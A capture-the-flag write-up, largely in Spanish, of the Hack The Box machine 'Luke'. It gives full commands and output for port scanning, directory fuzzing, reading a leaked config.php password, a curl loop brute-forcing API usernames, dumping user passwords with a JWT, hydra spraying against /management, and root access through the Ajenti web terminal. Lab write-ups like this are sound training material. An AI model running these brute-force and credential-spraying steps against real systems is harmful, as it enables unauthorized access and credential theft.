Table of Contents
Hack The Box: Luke Writeup
Welcome to my detailed writeup of the medium difficulty machine “Luke” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.96.55 --ulimit 5000 -g
210.129.96.55 -> [21,22,80,3000,8000]
1$ nmap -p21,22,80,3000,8000 -sCV 10.129.96.55 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 22:29 CEST
3Stats: 0:02:18 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
4Service scan Timing: About 80.00% done; ETC: 22:32 (0:00:35 remaining)
5Nmap scan report for 10.129.96.55
6Host is up (0.036s latency).
7
8PORT STATE SERVICE VERSION
921/tcp open ftp vsftpd 3.0.3+ (ext.1)
10| ftp-syst:
11| STAT:
12| FTP server status:
13| Connected to 10.10.14.18
14| Logged in as ftp
15| TYPE: ASCII
16| No session upload bandwidth limit
17| No session download bandwidth limit
18| Session timeout in seconds is 300
19| Control connection is plain text
20| Data connections will be plain text
21| At session startup, client count was 2
22| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
23|_End of status
24| ftp-anon: Anonymous FTP login allowed (FTP code 230)
25|_drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp
2622/tcp open ssh?
27|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
2880/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
29|_http-title: Luke
30| http-methods:
31|_ Potentially risky methods: TRACE
32|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
333000/tcp open http Node.js Express framework
34|_http-title: Site doesn't have a title (application/json; charset=utf-8).
358000/tcp open http Ajenti http control panel
36|_http-title: Ajenti
37
38Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
39Nmap done: 1 IP address (1 host up) scanned in 182.03 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.96.55 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 22:33 CEST
3Nmap scan report for 10.129.96.55
4Host is up (0.055s latency).
5All 1500 scanned ports on 10.129.96.55 are in ignored states.
6Not shown: 1305 open|filtered udp ports (no-response), 195 closed udp ports (port-unreach)
7
8Nmap done: 1 IP address (1 host up) scanned in 0.80 seconds
FTP Enumeration
Podemos iniciar sesión de forma anónima en el FTP, encontramos un archivo llamado for_Chihiro.txt
Dear Chihiro !!
As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !
Derry
De este mensaje podemos sacar la conclusión de que existen dos usuarios, chihiro
y derry
y de que en alguna parte debe de haber recursos que no deberían de estar debido a las políticas de seguridad.
80/TCP Enumeration
1$ whatweb http://10.129.96.55
2http://10.129.96.55 [200 OK] Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], Email[contact@luke.io], HTML5, HTTPServer[FreeBSD][Apache/2.4.38 (FreeBSD) PHP/7.3.3], IP[10.129.96.55], JQuery, PHP[7.3.3], Script, Title[Luke]
Encontramos el dominio luke.io
Vemos que se está utilizando PHP por detrás.
1$ feroxbuster -u http://10.129.96.55 -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php -d 2 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.4
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://10.129.96.55
9 🚀 Threads │ 100
10 📖 Wordlist │ /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.4
14 🔎 Extract Links │ true
15 💲 Extensions │ [php]
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 2
18───────────────────────────┴──────────────────────
19 🏁 Press [ENTER] to use the Scan Management Menu™
20──────────────────────────────────────────────────
21404 GET 7l 24w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
22403 GET 9l 24w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23200 GET 29l 99w 927c http://10.129.96.55/js/scrolling-nav.js
24200 GET 40l 77w 793c http://10.129.96.55/css/signin.css
25200 GET 12l 32w 323c http://10.129.96.55/css/scrolling-nav.css
26200 GET 7l 965w 76308c http://10.129.96.55/vendor/bootstrap/js/bootstrap.bundle.min.js
27200 GET 6l 1429w 121200c http://10.129.96.55/css/bootstrap.min.css
28301 GET 7l 20w 235c http://10.129.96.55/member => http://10.129.96.55/member/
29200 GET 39l 118w 1593c http://10.129.96.55/login.php
30401 GET 12l 46w 381c http://10.129.96.55/management
31301 GET 7l 20w 232c http://10.129.96.55/css => http://10.129.96.55/css/
32301 GET 7l 20w 231c http://10.129.96.55/js => http://10.129.96.55/js/
33301 GET 7l 20w 235c http://10.129.96.55/vendor => http://10.129.96.55/vendor/
34200 GET 6l 25w 202c http://10.129.96.55/config.php
35200 GET 108l 240w 3138c http://10.129.96.55/
36200 GET 21l 172w 1093c http://10.129.96.55/LICENSE
37404 GET 7l 25w 203c http://10.129.96.55/%20.php
38🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_10_129_96_55-1722890241.state ...
39[##>-----------------] - 17s 22962/220575 3m found:15 errors:20
40[#>------------------] - 17s 11436/220545 688/s http://10.129.96.55/
41[####################] - 0s 220545/220545 926660/s http://10.129.96.55/css/ => Directory listing
42[####################] - 0s 220545/220545 2864221/s http://10.129.96.55/vendor/ => Directory listing
43[####################] - 0s 220545/220545 5513625/s http://10.129.96.55/member/ => Directory listing
44[####################] - 0s 220545/220545 5513625/s http://10.129.96.55/js/ => Directory listing
Vemos una ruta /management
y otra /member
que me llaman la atención.
Vemos un config.php
que sospechosamente nos reporta que tiene contenido.
Genial..
1$ curl http://10.129.96.55/config.php
2$dbHost = 'localhost';
3$dbUsername = 'root';
4$dbPassword = 'Zk6heYCyv6ZE9Xcg';
5$db = "login";
6
7$conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error);
Tenemos una credencial Zk6heYCyv6ZE9Xcg
No sabemos para qué aún.
No consigo iniciar sesión en este panel.
El endpoint de /management
también está protegido y no consigo iniciar sesión.
La ruta /member
está vacia.
3000/TCP & 8000/TCP
Por el puerto :3000 parece que hay una API por detrás.
Por el puerto :8000 hay un CMS llamado Ajenti.
Hay varias vulnerabilidades asociadas a Ajenti, pero necesito estar autenticado.
Decidí investigar un poco mas la API.
1$ curl -X GET http://10.129.96.55:3000 -H 'Authorization: test'
2{"success":false,"message":"Token is not valid"}
Intenté varias cosas pero nada funcionó, así que vamos a fuzzear a ver si encontramos algún endpoint curioso.
Vemos un endpoint /users
pero necesito estar autenticado
1$ curl -X GET http://10.129.96.55:3000/users -H 'Authorization: '
2{"success":false,"message":"Auth token is not supplied"}
1$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=test"Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
2└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "user=root&password=test"
3Bad Request┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
4└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=test"Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
Deduzco que la data se la tengo que mandar en formato x-www-form-urlencoded
y que los campos son username
y password
1$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=test"Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
2└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "user=root&password=test"
3Bad Request┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
4└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=test"Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
Intento iniciar sesión con las credenciales que ya tenía.
1$ curl -X POST http://10.129.96.55:3000/login --data "username=root&password=Zk6heYCyv6ZE9Xcg"
2Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
3└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "username=chihiro&password=Zk6heYCyv6ZE9Xcg"
4Forbidden┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/luke/content]
5└──╼ [★]$ curl -X POST http://10.129.96.55:3000/login --data "username=derry&password=Zk6heYCyv6ZE9Xcg"
6Forbidden
Y nada. Así que probé a hacer una pequeña fuerza bruta…
Y sorprendentemente funcionó.
1$ for username in $(cat /opt/SecLists/Usernames/cirt-default-usernames.txt | awk '{print tolower($0)}'); do echo " -> $username"; curl -X POST http://10.129.96.55:3000/login --data "username=$username&password=Zk6heYCyv6ZE9Xcg"; done
2 -> !root
3Forbidden -> $aloc$
4Forbidden -> $srv
5Forbidden -> $system
6Forbidden -> (null)
7Forbidden -> (any)
8Forbidden -> (created)
9Forbidden -> 1
10Forbidden -> 11111111
11Forbidden -> 12.x
12Forbidden -> 1502
13Forbidden -> 18140815
14Forbidden -> 1nstaller
15Forbidden -> 2
16Forbidden -> 22222222
17Forbidden -> 30
18Forbidden -> 31994
19Forbidden -> 4dgifts
20Forbidden -> 5
21Forbidden -> 6.x
22Forbidden -> 7
23Forbidden -> adams
24Forbidden -> adldemo
25Forbidden -> admin
26{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzIyODg0MDU2LCJleHAiOjE3MjI5NzA0NTZ9.FyEpFhkz8V0rIXmjcegdmvZ2sXIdPO-OMdVa6OD0C_Y"} -> administrator
Ahora podemos ver mas usuarios…
1$ curl -s -X GET http://10.129.96.55:3000/users -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzIyODg0MDU2LCJleHAiOjE3MjI5NzA0NTZ9.FyEpFhkz8V0rIXmjcegdmvZ2sXIdPO-OMdVa6OD0C_Y' | jq
2[
3 {
4 "ID": "1",
5 "name": "Admin",
6 "Role": "Superuser"
7 },
8 {
9 "ID": "2",
10 "name": "Derry",
11 "Role": "Web Admin"
12 },
13 {
14 "ID": "3",
15 "name": "Yuri",
16 "Role": "Beta Tester"
17 },
18 {
19 "ID": "4",
20 "name": "Dory",
21 "Role": "Supporter"
22 }
23]
Otro comportamiento extraño es que podemos indicar un usuario, esto es común, pero se nos devuelve una contraseña…
1$ curl -s -X GET http://10.129.96.55:3000/users/dory -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzIyODg0MDU2LCJleHAiOjE3MjI5NzA0NTZ9.FyEpFhkz8V0rIXmjcegdmvZ2sXIdPO-OMdVa6OD0C_Y' | jq
2{
3 "name": "Dory",
4 "password": "5y:!xa=ybfe)/QD"
5}
Vamos a recopilar estas credenciales…
1$ for user in $(cat users.txt); do curl -s -X GET http://10.129.96.55:3000/users/$user -H 'Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNzIyODg0MDU2LCJleHAiOjE3MjI5NzA0NTZ9.FyEpFhkz8V0rIXmjcegdmvZ2sXIdPO-OMdVa6OD0C_Y' | jq; done
2{
3 "name": "Admin",
4 "password": "WX5b7)>/rp$U)FW"
5}
6{
7 "name": "Derry",
8 "password": "rZ86wwLvx7jUxtch"
9}
10{
11 "name": "Yuri",
12 "password": "bet@tester87"
13}
14{
15 "name": "Dory",
16 "password": "5y:!xa=ybfe)/QD"
17}
Foothold
Ahora teniendo una lista de usuarios y credenciales, podemos probar a autenticarnos en /management
o entrar en el Ajenti.
Fijándonos en este post…
1$ hydra -L users.txt -P credentials.txt -s 80 -f 10.129.96.55 http-get /managementHydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
2
3Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-05 23:02:21
4[DATA] max 16 tasks per 1 server, overall 16 tasks, 16 login tries (l:4/p:4), ~1 try per task
5[DATA] attacking http-get://10.129.96.55:80/management
6[80][http-get] host: 10.129.96.55 login: Derry password: rZ86wwLvx7jUxtch
7[STATUS] attack finished for 10.129.96.55 (valid pair found)
81 of 1 target successfully completed, 1 valid password found
9Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-05 23:02:22
Y al acceder a /management
vemos un hipervínculo hacia /management/config.json
Vemos unas credenciales justo debajo de lo que parece ser la configuración del Ajenti
Buscando en Google vemos que por defecto, en Ajenti
el usuario administrador se llama root
Así que probando root:KpMasng6S5EtTy9Z
Antes de probar ningún exploit, vemos un apartado Terminal
donde podemos crear una supuesta consola..
Veo que estoy en la máquina víctima (no hay ningún contenedor) y que encima estoy ejecutando comandos como root
Y ya podríamos leer las flags. dos por el precio de una.
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Luke #Writeup #Cybersecurity #Penetration Testing #CTF #Privilege Escalation #RCE #Exploit #FreeBSD #Web Fuzzing #Information Leakage #Password Spraying #Abusing API #Bruteforcing #Abusing Ajenti Terminal